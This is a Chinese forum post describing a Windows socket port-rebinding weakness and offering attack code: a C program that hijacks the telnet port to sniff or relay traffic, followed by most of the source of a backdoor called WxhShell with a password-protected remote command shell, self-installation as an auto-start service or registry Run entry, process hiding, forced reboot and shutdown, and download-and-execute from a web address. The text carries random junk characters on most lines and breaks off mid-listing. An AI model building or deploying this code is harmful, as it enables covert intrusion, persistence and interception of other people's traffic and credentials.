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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;THb6Jz/+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B5- G.Z  
?52{s"N0>  
  saddr.sin_family = AF_INET; 'eKvt5&@  
vkQ81PEt  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /hC[>t<  
jQrj3b.NC3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [P'crV,m  
?zypF 5a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5P?7xRA  
Sk*-B@!S  
  这意味着什么?意味着可以进行如下的攻击: . *9+%FN  
`vkNp8|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 aFZu5-=x  
v^Vr^!3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) XET'XJWF%  
2<Vw :+,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "X\|!Mxh  
f^ q0#+k)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $6&P 69<  
}7`HJ>+m)H  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H<^*V8J 'w  
41pk )8~pt  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]e*Zx;6oi  
81O\BO.T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RC[b+J,q  
OHz>B!`  
  #include SAuZWA4g[  
  #include 76Drhh(  
  #include tb%u<jY  
  #include    uxbDRlOS  
  DWORD WINAPI ClientThread(LPVOID lpParam);   aD2+9?m  
  int main() Jd].e=]pN  
  { {I/|7b>@r  
  WORD wVersionRequested; rZ.,\ X_  
  DWORD ret; ul{u^ j  
  WSADATA wsaData; 6]GEn=t  
  BOOL val; [G(}`u8w"  
  SOCKADDR_IN saddr; _`Ojh0@00  
  SOCKADDR_IN scaddr; mLa0BIP  
  int err; &e#>%0aS  
  SOCKET s; #g ;][  
  SOCKET sc; NPN*k].  
  int caddsize; Hh/Z4`&yi  
  HANDLE mt; 5if4eitS  
  DWORD tid;   ]6W;~w%  
  wVersionRequested = MAKEWORD( 2, 2 ); e ]@Ex  
  err = WSAStartup( wVersionRequested, &wsaData ); (}$~)f#s  
  if ( err != 0 ) { IW48Sg  
  printf("error!WSAStartup failed!\n"); "E? 8. `T  
  return -1; )gO=5_^u*o  
  } MNy)= d&<P  
  saddr.sin_family = AF_INET; >e]46 K  
   %]>LnbM>4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @iC,0AK4k  
a@1 r3az  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ? J;*  
  saddr.sin_port = htons(23); %s]l^RZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c=S-g 9J  
  { |!0R"lv'u  
  printf("error!socket failed!\n"); z8#c!h<@;  
  return -1; $6~ \xe=  
  } 410WWR&4_  
  val = TRUE; 8J&K_ JC^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 m,zZe}oJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o_2mSD!  
  { O2W EA  
  printf("error!setsockopt failed!\n"); ?[[K6v}q{  
  return -1; +y+-~;5iv  
  } {gSR49!Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; IIN"'7Z^R  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0(owFNUBs  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2r+@s g  
]Q}z-U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |( %3 '"Z  
  { 9!XW):  
  ret=GetLastError(); =c)O8  
  printf("error!bind failed!\n"); >[4;K&$B  
  return -1; &"V%n  
  } ?K<m.+4b*y  
  listen(s,2); $N7:;X"l  
  while(1) (qE*z  
  { $,vZX u|Qw  
  caddsize = sizeof(scaddr); {H$F!}a  
  //接受连接请求 !fFmQ\|)4S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )~hsd+ 0t  
  if(sc!=INVALID_SOCKET) !Ua74C  
  { V^qZ~US  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Vt_NvPB`  
  if(mt==NULL) <h_lc}o/  
  { ;pU#3e+P8  
  printf("Thread Creat Failed!\n"); ~YxLDo'.t  
  break; ]rEFWA  
  } '/gw`MJ  
  } #y~`nyg%|  
  CloseHandle(mt); ulnG|3A9  
  } O/gBBTB  
  closesocket(s); 4|+6a6  
  WSACleanup(); D`r^2(WW  
  return 0; l}>gG[q!  
  }   /2,s-^  
  DWORD WINAPI ClientThread(LPVOID lpParam) t7VXW{3  
  { N=) E$h  
  SOCKET ss = (SOCKET)lpParam; @@U'I^iG  
  SOCKET sc; >\Qyg>Md]  
  unsigned char buf[4096]; .Gq)@{o>  
  SOCKADDR_IN saddr; =rj5 q  
  long num; #;F1+s<|QJ  
  DWORD val; 9v(&3,)a  
  DWORD ret; 5a9PM(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 MB<oWH[e)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Qtmsk:qm  
  saddr.sin_family = AF_INET; ~%Y*2i f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K5x&:z  
  saddr.sin_port = htons(23); #]G$o?@Y=^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8-cB0F=j_  
  { H'uRgBjWJ  
  printf("error!socket failed!\n"); 2?LZW14$d  
  return -1; u7!X#<  
  } axOdGv5  
  val = 100; dQ*3s>B[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) whW"cFg  
  { f"h{se8C  
  ret = GetLastError(); Or&TGwo I  
  return -1; F+vgkqs@9  
  } OQ<|Xd I$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $CaF"5}?Ke  
  { XUU l*5^  
  ret = GetLastError(); uS3 s  
  return -1; dMsX}=EI<  
  } '?+q3lps  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #vhxW=L`=  
  { M*)}F  
  printf("error!socket connect failed!\n"); B7qm;(?X&  
  closesocket(sc); wi]|"\  
  closesocket(ss); |H&2[B"l  
  return -1; &3VR)Bxn  
  } #!\g5 ')mC  
  while(1) wK@k}d  
  { zBWn*A[4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^ N]u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'xAfcP[^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 clQN@1] M  
  num = recv(ss,buf,4096,0); ukV1_QeN [  
  if(num>0) 1F'j .1  
  send(sc,buf,num,0); dBY,&=T4p  
  else if(num==0) l -~H Y*  
  break; y\Z7]LHCqw  
  num = recv(sc,buf,4096,0); \D BtU7"v  
  if(num>0) g7k|Ho-W  
  send(ss,buf,num,0); D@tuu]%p  
  else if(num==0) jGM~(;iw6i  
  break; `[V]xP%V  
  }  +Io^U  
  closesocket(ss); ))}w;w   
  closesocket(sc); 1btQ[a6j  
  return 0 ; I%(`2 rD8G  
  } i Xtar;%  
B8z3W9  
=LHE_ AA  
========================================================== q4$zsw  
?DEj| i8  
下边附上一个代码,,WXhSHELL uzL)qH$b  
#_{3W-35*  
========================================================== ;5 cg<~t  
t^. U<M  
#include "stdafx.h" <!^wGN$f  
^- T!(P:  
#include <stdio.h> ~;W]0d4,\  
#include <string.h> FbQ"ZTN\;Y  
#include <windows.h> 9J_lxy}  
#include <winsock2.h> *M;!{)m?  
#include <winsvc.h> -~eNC^t;W  
#include <urlmon.h> %'Ebm  
aG QC  
#pragma comment (lib, "Ws2_32.lib")  :0ZFbIy  
#pragma comment (lib, "urlmon.lib") P: &XtpP  
|4BS\fx~N  
#define MAX_USER   100 // 最大客户端连接数 W:8_S%~d  
#define BUF_SOCK   200 // sock buffer > Zo_-,  
#define KEY_BUFF   255 // 输入 buffer ~}|)@,N'bm  
V%?oI]" l  
#define REBOOT     0   // 重启 zDY!0QZLF\  
#define SHUTDOWN   1   // 关机 cYyv iR59#  
$O,$KAC  
#define DEF_PORT   5000 // 监听端口 2SEfEkk  
g@YJ#S(}  
#define REG_LEN     16   // 注册表键长度 AQ 3n=Lr   
#define SVC_LEN     80   // NT服务名长度 {ScilT  
tG(?PmQ  
// 从dll定义API z c N1i^   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |xyN#wi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JnH>L|G{;%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1Qui.],c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~p<o":k+Lv  
/g2(<  
// wxhshell配置信息 x/47e8/  
struct WSCFG { ! %r5  
  int ws_port;         // 监听端口 x2+%.$'  
  char ws_passstr[REG_LEN]; // 口令 +=hiLfnE  
  int ws_autoins;       // 安装标记, 1=yes 0=no M >Yx_)<U  
  char ws_regname[REG_LEN]; // 注册表键名 4AB7uw  
  char ws_svcname[REG_LEN]; // 服务名 }|MGYS)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W}V L3s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FR _R"p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?B@(W(I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B<(v\=xZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `s(T (l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZWaHG_ U)  
.)|r!X  
}; .]g>.  
^il'Q_-{  
// default Wxhshell configuration (1gfb*L  
struct WSCFG wscfg={DEF_PORT, sL]KBux  
    "xuhuanlingzhe", vttmSdY  
    1, J_]?.V*A  
    "Wxhshell", F,EcqM'f  
    "Wxhshell", M~7gUb|  
            "WxhShell Service", 54s+4R FL  
    "Wrsky Windows CmdShell Service", $J&ww P[  
    "Please Input Your Password: ", "WR)a`$UR  
  1, "P`V|g  
  "http://www.wrsky.com/wxhshell.exe", F)g.CDQ!c  
  "Wxhshell.exe" 4- z3+e  
    }; `|e?91@vEa  
wMNtN3   
// 消息定义模块 i6M_Gk}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EaGh`*"w(7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5hak'#2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  bz'V50  
char *msg_ws_ext="\n\rExit."; jdiFb~5R  
char *msg_ws_end="\n\rQuit."; B'>(kZYMs  
char *msg_ws_boot="\n\rReboot..."; hX(:xc  
char *msg_ws_poff="\n\rShutdown..."; :$ j6  
char *msg_ws_down="\n\rSave to "; TWkuR]5  
o%X@Bz  
char *msg_ws_err="\n\rErr!"; IT]D;  
char *msg_ws_ok="\n\rOK!"; bS_fWD-  
p6u"$)wt  
char ExeFile[MAX_PATH]; |&lAt \  
int nUser = 0; 9{\e E]0  
HANDLE handles[MAX_USER]; w?]k$  
int OsIsNt; %4?  
<<!XWV*m  
SERVICE_STATUS       serviceStatus; pJ-/"Q|:i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z(L\I  
[xq"[*Evv  
// 函数声明 &(3kwdI  
int Install(void); >7. $=y8b  
int Uninstall(void); ;*ebq'D([  
int DownloadFile(char *sURL, SOCKET wsh); B]~#+rMK  
int Boot(int flag); ?kvkkycI   
void HideProc(void); #R v&b@K  
int GetOsVer(void); lx,^Y 647  
int Wxhshell(SOCKET wsl); EeC5HgIU'C  
void TalkWithClient(void *cs); "mr;!"LA  
int CmdShell(SOCKET sock); YFgQ!\&59  
int StartFromService(void); *.4;7#  
int StartWxhshell(LPSTR lpCmdLine); AHX_I  
4HEp}Y"}V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'p,QI>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I@~hz%'  
s,> 1n0a  
// 数据结构和表定义 -I4-K%%B`  
SERVICE_TABLE_ENTRY DispatchTable[] = LyRto  
{ &g;4;)p*8  
{wscfg.ws_svcname, NTServiceMain}, 7bOL,S  
{NULL, NULL} ;hU56lfZ)X  
}; bv ,_7UOG  
?<VahDBS+A  
// 自我安装 ~]8bTw@  
int Install(void) nV'~uu  
{ e 5U<nf  
  char svExeFile[MAX_PATH]; -_BS!T%r  
  HKEY key; 6O2 r5F$T  
  strcpy(svExeFile,ExeFile);  pv1J6  
f@lRa>Z(Fm  
// 如果是win9x系统,修改注册表设为自启动 u!`oKe;  
if(!OsIsNt) { _D7MJT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }2 zJ8A9-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2ijw g~_@  
  RegCloseKey(key); H~x,\|l#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qYZ\< h^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j;@7V4'  
  RegCloseKey(key); c-8Pc ]+g  
  return 0; !m(5N4:vV  
    } S?*pCJ0  
  } i)=!U>B_0  
} | W:JI  
else { fdP[{.$?(  
+o})Cs`|=A  
// 如果是NT以上系统,安装为系统服务 g(m3 &  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %toxZ}OP  
if (schSCManager!=0) v&oE!s#  
{ C'3/B)u}l  
  SC_HANDLE schService = CreateService tAH,3Sz( /  
  ( j&)"a,f  
  schSCManager, 6KP"F[8I  
  wscfg.ws_svcname, d54(6N%  
  wscfg.ws_svcdisp, 4h wUH  
  SERVICE_ALL_ACCESS, n| =k9z<y8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &qqS'G*  
  SERVICE_AUTO_START, Uv'.]#H<  
  SERVICE_ERROR_NORMAL, Rg~ ~[6G>  
  svExeFile, *l:5FT p  
  NULL, sI p q  
  NULL, \AV6;;}&  
  NULL, l9 RjxO.~U  
  NULL, Z=`\U?,  
  NULL m5Gt8Z 6a  
  ); 44_7gOZ  
  if (schService!=0) bj^YB,iSM  
  { xh Sp<|X_  
  CloseServiceHandle(schService); ;,GE!9HW  
  CloseServiceHandle(schSCManager); \2,7fy'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eED Fm  
  strcat(svExeFile,wscfg.ws_svcname); aV`4M VWOz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .lm^+1}r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _KVge)j  
  RegCloseKey(key); biFy*+|  
  return 0; F<y$Q0Z}  
    } j2NnDz'  
  } lAuI?/E  
  CloseServiceHandle(schSCManager); P_)h8-!+ $  
} }|>mR];  
} l?E7'OEF:  
Vh1{8'G Q  
return 1; Dn;6O  
} }ybveZxv5A  
@+1-_Q`s/R  
// 自我卸载 m'H%O-h\  
int Uninstall(void) v7"' ^sZ?  
{ Wi]Mp7b  
  HKEY key; R:HF~}  
cd,)GF  
if(!OsIsNt) { H/m -$;cF3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CbTYt6DC  
  RegDeleteValue(key,wscfg.ws_regname); bf ]W_I]B  
  RegCloseKey(key); $r})j~c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M;*f(JY$  
  RegDeleteValue(key,wscfg.ws_regname); bm9@A]yP  
  RegCloseKey(key); n`<YhV  
  return 0; w]Z*"B&h  
  } E?san;K u  
} n |5+HE4@  
} 4r5trquC  
else { d7Lna^  
O}\$E{-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n]G!@-z  
if (schSCManager!=0) =w='qjh  
{ h;105$E1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bp Q/#\Z  
  if (schService!=0) =9@{U2 =l  
  { 3n-~+2l  
  if(DeleteService(schService)!=0) { 9fR`un)f}  
  CloseServiceHandle(schService); y\7 -!  
  CloseServiceHandle(schSCManager); 3}{od$3G  
  return 0; Yg@k +  
  } R<aF;Rvb5  
  CloseServiceHandle(schService); ]H8,}  
  } *{|{T_H:  
  CloseServiceHandle(schSCManager); mk#xbvvG  
} &t1?=F,]  
} {w*5uI%%e  
R/ 5aIh  
return 1; / *=1hF  
} gB1w,96J  
Tvf%'%h1  
// 从指定url下载文件 W9>q1  
int DownloadFile(char *sURL, SOCKET wsh) L h"K"Uv  
{ YI!ecx%/4  
  HRESULT hr; OL|_@Fv`A  
char seps[]= "/"; O^(ji8[l  
char *token; E _d^&{j  
char *file; MU2ufKq4)  
char myURL[MAX_PATH]; GZgu1YR  
char myFILE[MAX_PATH]; tVJ}NI #  
D0Cs g39  
strcpy(myURL,sURL); 2 t'^  
  token=strtok(myURL,seps); &wc% mQV  
  while(token!=NULL) ;`<uo$R  
  { ir^%9amh  
    file=token; g_8Bhe"ik  
  token=strtok(NULL,seps); ;w,+x 7  
  } []R`h*#  
Yg_;Eu0'?  
GetCurrentDirectory(MAX_PATH,myFILE); tNf?pV77  
strcat(myFILE, "\\"); f S-(Kmh  
strcat(myFILE, file); >D20f<w(H  
  send(wsh,myFILE,strlen(myFILE),0); c\.Hs9T >  
send(wsh,"...",3,0); T;/Y/Fd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?`R;ZT)U-  
  if(hr==S_OK) ZZ/F}9!=  
return 0; <n+?7`d,  
else )Zx;Z[  
return 1; ox9$aBjJ  
O_@  
} ~"-+BG(5  
WN8XiV  
// 系统电源模块 ,m<t/@^]  
int Boot(int flag) yhF{ cK =  
{ yu8xTh$:  
  HANDLE hToken; k@QU<cvI  
  TOKEN_PRIVILEGES tkp; V 2-fJ!  
Hrb67a%b  
  if(OsIsNt) { LRNgpjE}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &|rh~;:jUX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {OHaI ;  
    tkp.PrivilegeCount = 1; M1(+_W`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -P"9KnsO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Bn>"lDf,  
if(flag==REBOOT) { uA]Z"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yk r5bS  
  return 0; g *}M;"  
} Fy(-.S1  
else { i U3GUsPy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y U"pU>fV@  
  return 0; AC*> f&  
} |ymw])L  
  } k e$g[g  
  else { b[}f]pB@n  
if(flag==REBOOT) { 1+`Bli]dE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fZM)>  
  return 0; 9a_B   
} # `}(x;ge  
else { !brXQj8D7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H(}Jt!/:  
  return 0; QoagyL  
} 3q +C8_:  
} a%R'x]  
M6yzqAh  
return 1; [QC<u1/"K  
} x4@v$phyH  
d1MY>zq  
// win9x进程隐藏模块 cWG>w6FI  
void HideProc(void) VRr_s:CWK  
{ $#|iKi<Y@j  
wNzALfS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tu.Tvtudzj  
  if ( hKernel != NULL ) p'# (^  
  { rl#[HbPM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 46U?aHKW@|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "M e)'  
    FreeLibrary(hKernel); k 4|*t}o7  
  } !nX}\lw  
<A%}  
return; ~nul[>z  
} !VNLjbee.  
Vn:BasS%  
// 获取操作系统版本 P3[!-sv  
int GetOsVer(void) QL_~E;U  
{  {@XzY>  
  OSVERSIONINFO winfo; 5v1f?btc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -p|JJx?r  
  GetVersionEx(&winfo); mM*jdm(!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cT8b$P5w  
  return 1; R4xoc;b  
  else rLt`=bl&&U  
  return 0; 0MV^-M   
} 3I|&}+Z6  
O3U6"{yJ)  
// 客户端句柄模块 s06tCwPp  
int Wxhshell(SOCKET wsl) 0}(ZW~& 1  
{ {z":hmt  
  SOCKET wsh; l# -4}95  
  struct sockaddr_in client; g~zz[F 8U  
  DWORD myID; m53XN  
o: \&4z&=  
  while(nUser<MAX_USER) EN OaC  
{ uU_0t;oR3  
  int nSize=sizeof(client); z^tws*u],5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'g3!SdaLF  
  if(wsh==INVALID_SOCKET) return 1; x2@Q5|a  
K|"97{*|2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ql Z()  
if(handles[nUser]==0) Z^Y_+)=s  
  closesocket(wsh); .=y-T=}  
else mFL"h  
  nUser++; P=Au~2X  
  } [&IJy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BQ&G7V  
cmw2EHTT<  
  return 0; yrp;G_  
} E=Z;T   
94 2(a  
// 关闭 socket D%tcYI(  
void CloseIt(SOCKET wsh) :n1^Xw0q  
{ b< ]--\  
closesocket(wsh); zF+NS]XK  
nUser--; /h/f&3'h  
ExitThread(0); +`;YK7o  
} bnso+cA  
W(5et5DN,  
// 客户端请求句柄 `# N j8  
void TalkWithClient(void *cs) Z/y&;N4  
{ jacp':T  
,4RmT\%T  
  SOCKET wsh=(SOCKET)cs; @S69u s}  
  char pwd[SVC_LEN]; a4zq`n|3U  
  char cmd[KEY_BUFF]; ba=-F4?  
char chr[1]; Im7t8XCG  
int i,j; RyI(6TZl  
Gp0B^^H$  
  while (nUser < MAX_USER) { zQ;jaS3 hf  
AKKp-I5  
if(wscfg.ws_passstr) { i{#5=np H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^jY'Hj.Bs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RnvPqNs  
  //ZeroMemory(pwd,KEY_BUFF); oCl $ 0x  
      i=0; QkEIV<T&)l  
  while(i<SVC_LEN) { FXpI-?#E<  
L4fM?{Ic:s  
  // 设置超时 6P0\t\D0  
  fd_set FdRead; RW4}n< 88  
  struct timeval TimeOut; \Lp|S:u  
  FD_ZERO(&FdRead); 3LxhQVx2  
  FD_SET(wsh,&FdRead);  >mk}  
  TimeOut.tv_sec=8; Ts+S>$  
  TimeOut.tv_usec=0; m7GM1[?r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P;A9t#\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sj"zgE)  
{_ &*"bK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m|:O:<  
  pwd=chr[0]; ;WF3w  
  if(chr[0]==0xd || chr[0]==0xa) { qDMVZb-(#  
  pwd=0; L7~9u|7a#  
  break; utH,pGs C.  
  } Y[(U~l,a+  
  i++; @X_<y  
    } +#|| w9p  
/QA:`_</oh  
  // 如果是非法用户,关闭 socket QYm]&;EI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OKXELP  
} =/ b2e\  
V30Om3C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EWI2qaSnO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `R9}.?7  
4pYscB  
while(1) { z5V~m_RO  
N ,8^AUJ3&  
  ZeroMemory(cmd,KEY_BUFF); ws^ 7J/8  
xsPY#  
      // 自动支持客户端 telnet标准   5,i0QT"  
  j=0; J )*7JX  
  while(j<KEY_BUFF) { +>w %j&B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _m;H$N~I#  
  cmd[j]=chr[0]; |8DMj s()*  
  if(chr[0]==0xa || chr[0]==0xd) { ~8A !..Z  
  cmd[j]=0; vs*Q {  
  break; p3Ey[kURp  
  } =>y%Aj&4  
  j++; GL S`1!  
    } HVG:q#=C  
2^V/>|W>w  
  // 下载文件 !4?QR  
  if(strstr(cmd,"http://")) { ,MmX(O0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [ST,/<?0  
  if(DownloadFile(cmd,wsh)) eu^B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .huk>  
  else OYbgt4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H N )@sLPc  
  } OG!+p}yD]  
  else { Z(~v{c %<  
Ig.9:v`  
    switch(cmd[0]) { /'g/yBY  
  qs Uob   
  // 帮助 2k}8`P;  
  case '?': { pS) &d4i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '1f:8  
    break;  ~T'!.^/  
  } S.E'fc1  
  // 安装 axpn*(yE  
  case 'i': { ,cF $_7M  
    if(Install()) JvI6+[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Cq)/}0  
    else x&['g*[L0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 01br l^5K  
    break; B]_NI=d  
    } Gc1!')g!  
  // 卸载 MODi:jsl  
  case 'r': { DO5H(a  
    if(Uninstall()) Vs:x3)m5j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  mRYM,   
    else yE3l%<;q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); av; ~e<  
    break; SI~MTUqt  
    } LOPw0@  
  // 显示 wxhshell 所在路径 xDtJ& 6uFw  
  case 'p': { T`Jj$Lue{  
    char svExeFile[MAX_PATH]; $z":E(oy  
    strcpy(svExeFile,"\n\r"); #]MV  
      strcat(svExeFile,ExeFile); Y!0ZwwW  
        send(wsh,svExeFile,strlen(svExeFile),0); :#pfv)W6t  
    break; M{   
    } :jP4GCxU|  
  // 重启 K7jz*|2  
  case 'b': { Bq# l8u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O"c@x:i  
    if(Boot(REBOOT)) 2 yY.rs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N Dg*8i  
    else { !=t.AgmL  
    closesocket(wsh); nN|1cJ'.Fk  
    ExitThread(0); IFd2r;W8  
    } u@ psVt   
    break; O>~ozW &  
    } 9U=~t%qW$  
  // 关机 Ga9^+.j  
  case 'd': { &|j^?ro6  
